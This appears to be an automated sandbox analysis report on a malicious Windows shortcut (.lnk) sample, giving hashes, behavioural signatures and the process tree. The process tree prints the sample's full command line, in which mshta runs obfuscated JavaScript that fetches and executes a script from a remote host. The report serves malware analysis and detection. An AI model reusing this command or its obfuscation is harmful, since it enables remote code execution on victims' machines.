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Analysis
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max time kernel
94s -
max time network
96s -
platform
windows10-2004_x64 -
resource
win10v2004-20240730-en -
resource tags
arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system -
submitted
02/08/2024, 12:08
Static task
static1
Behavioral task
behavioral1
Sample
0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62.lnk
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62.lnk
Resource
win10v2004-20240730-en
General
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Target
0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62.lnk
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Size
16KB
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MD5
f42bf29a11a3feee10ba5c1e7c693f1e
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SHA1
ed4c179341c429a86675d8d94e34cb97b112df78
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SHA256
0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62
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SHA512
8ce42c3456c527b5b182f5cb8f3118241d23d8c3f142b325c575f055cf6703d0ad0fedbe1740712e5e54bbe0503faf8847b20fc8bad340a8d506fca271847939
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SSDEEP
384:zAmMYXKJXi7LLGNZYXENk+eZih4YMUEJvcCT9OfqDJt71W/9njZIG:JIXuGNj+Hkh4bvfk2jZ4ZtN
Malware Config
Signatures
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Blocklisted process makes network request 6 IoCs
flow pid Process 2 3704 mshta.exe 4 3704 mshta.exe 10 3704 mshta.exe 19 3704 mshta.exe 21 3704 mshta.exe 23 3704 mshta.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3881032017-2947584075-2120384563-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2096 wrote to memory of 1944 2096 cmd.exe 85 PID 2096 wrote to memory of 1944 2096 cmd.exe 85 PID 1944 wrote to memory of 3704 1944 cmd.exe 86 PID 1944 wrote to memory of 3704 1944 cmd.exe 86
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v:Off /D/c mShtA "JAVascrIPT:var _$_FOTV=["\x59\131\x43\x4f\x45\x4b\x4f","\163\x63\x72\x69\x70\x74\x3a\x48\x54\164\x70\x73\x3a\x2f\x2f\x62\x6c\157\x72\x69\x7a\x2e\x67\x65\x73\164\141\157\x61\x64\x6d\151\x6e\151\x73\x74\162\x61\x74\151\x76\x61\x64\x61\x74\x69\x6e\x67\56\x69\157\x2f\x3f\x31\x2f"];try{GetObject(_$_FOTV[1])[_$_FOTV[0]]()}catch(e){};close()"2⤵
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\system32\mshta.exemShtA "JAVascrIPT:var _$_FOTV=["\x59\131\x43\x4f\x45\x4b\x4f","\163\x63\x72\x69\x70\x74\x3a\x48\x54\164\x70\x73\x3a\x2f\x2f\x62\x6c\157\x72\x69\x7a\x2e\x67\x65\x73\164\141\157\x61\x64\x6d\151\x6e\151\x73\x74\162\x61\x74\151\x76\x61\x64\x61\x74\x69\x6e\x67\56\x69\157\x2f\x3f\x31\x2f"];try{GetObject(_$_FOTV[1])[_$_FOTV[0]]()}catch(e){};close()"3⤵
- Blocklisted process makes network request
PID:3704
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